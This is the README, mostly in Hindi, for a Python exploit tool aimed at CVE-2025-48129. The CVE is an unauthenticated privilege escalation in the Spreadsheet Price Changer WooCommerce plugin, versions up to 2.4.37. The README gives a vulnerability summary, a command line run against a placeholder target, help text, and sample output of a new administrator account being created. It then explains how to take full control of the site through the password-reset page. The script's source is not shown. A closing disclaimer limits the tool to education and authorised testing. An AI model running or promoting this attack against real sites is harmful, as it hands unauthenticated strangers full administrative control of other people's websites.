🚨 CVE-2025-48129 - WordPress Spreadsheet Price Changer प्लगइन में विशेषाधिकार वृद्धि

🛡️ भेद्यता सारांश

• प्रभावित प्लगइन: Spreadsheet Price Changer for WooCommerce and WP E-commerce – Light
• असुरक्षित संस्करण: <= 2.4.37
• पैच किया गया संस्करण: ❌ कोई आधिकारिक समाधान उपलब्ध नहीं
• खोजकर्ता: Patchstack | 20 मई 2025
• CVE आईडी: CVE-2025-48129
• CVSS स्कोर: 9.8 (Critical)
• पैच प्राथमिकता: 🔴 उच्च

🔥 जोखिम

बिना प्रमाणीकरण के हमलावर बिना किसी पूर्व पहुँच के Administrator-स्तर का खाता बनाकर विशेषाधिकार बढ़ा सकते हैं। इससे WordPress साइट का पूर्ण नियंत्रण संभव हो जाता है।

इसके अंतर्गत वर्गीकृत: OWASP A7 – पहचान और प्रमाणीकरण विफलताएँ

🧪 एक्सप्लॉइट स्क्रिप्ट अवलोकन

यह Python स्क्रिप्ट प्लगइन के असुरक्षित संस्करणों को लक्षित करती है और केवल ईमेल तथा पासवर्ड (MD5 के माध्यम से हैश किया गया) का उपयोग करके एक नया WordPress Administrator पंजीकृत करती है।

▶️ उपयोग उदाहरण

python CVE-2025-48129.py -u http://target-site.com/wordpress -mail [email protected] -p nxploitadmin

📘 उपयोग सहायता

python CVE-2025-48129.py -help

usage: CVE-2025-48129.py [-h] -u URL -mail MAIL [-p PASSWORD]

CVE-2025-48129 - Unauthenticated Privilege Escalation Exploit by Khaled Alenazi (Nxploited)

options:
  -h, --help              show this help message and exit
  -u, --url URL           Target WordPress site URL (e.g., http://site.com/)
  -mail, --mail MAIL      Email for the new Admin account
  -p, --password PASSWORD Password to set (default: nxploitadmin)

✅ सफल आउटपुट उदाहरण

[*] Checking plugin version...
[*] Plugin version: 2.4.37
[*] Vulnerable version detected. Exploiting...
[+] Exploitation successful!

[*] Login credentials:
    Username: [email protected]
    Password: 21232f297a57a5a743894a0e4a801fc3

[*] If login fails, reset the password manually via:
    http://target-site.com/wordpress/wp-login.php?action=lostpassword

⚠️ महत्वपूर्ण नोट

कुछ मामलों में, चुने गए पासवर्ड से सीधे लॉगिन करना विफल हो सकता है।
यह एक्सप्लॉइट में कोई बग नहीं है, बल्कि इस बात का परिणाम है कि असुरक्षित प्लगइन हैश किए गए पासवर्ड को WordPress की आंतरिक उपयोगकर्ता निर्माण प्रणाली को कैसे भेजता है।

यदि आप लॉगिन करने में असमर्थ हैं, तो निम्न URL का उपयोग करके ईमेल के माध्यम से पासवर्ड रीसेट करें:

http://target-site.com/wordpress/wp-login.php?action=lostpassword

WordPress आपके द्वारा अभी बनाए गए Admin खाते को पासवर्ड रीसेट ईमेल भेजेगा — जिससे आपको पूर्ण पहुँच मिल जाएगी।

🧾 कानूनी अस्वीकरण

यह टूल केवल शैक्षिक और अधिकृत पेनिट्रेशन टेस्टिंग उद्देश्यों के लिए प्रदान किया गया है।
लेखक इस स्क्रिप्ट के दुरुपयोग या क्षति के लिए कोई ज़िम्मेदारी नहीं लेता है।

द्वारा: Nxploited ( Khaled_alenazi )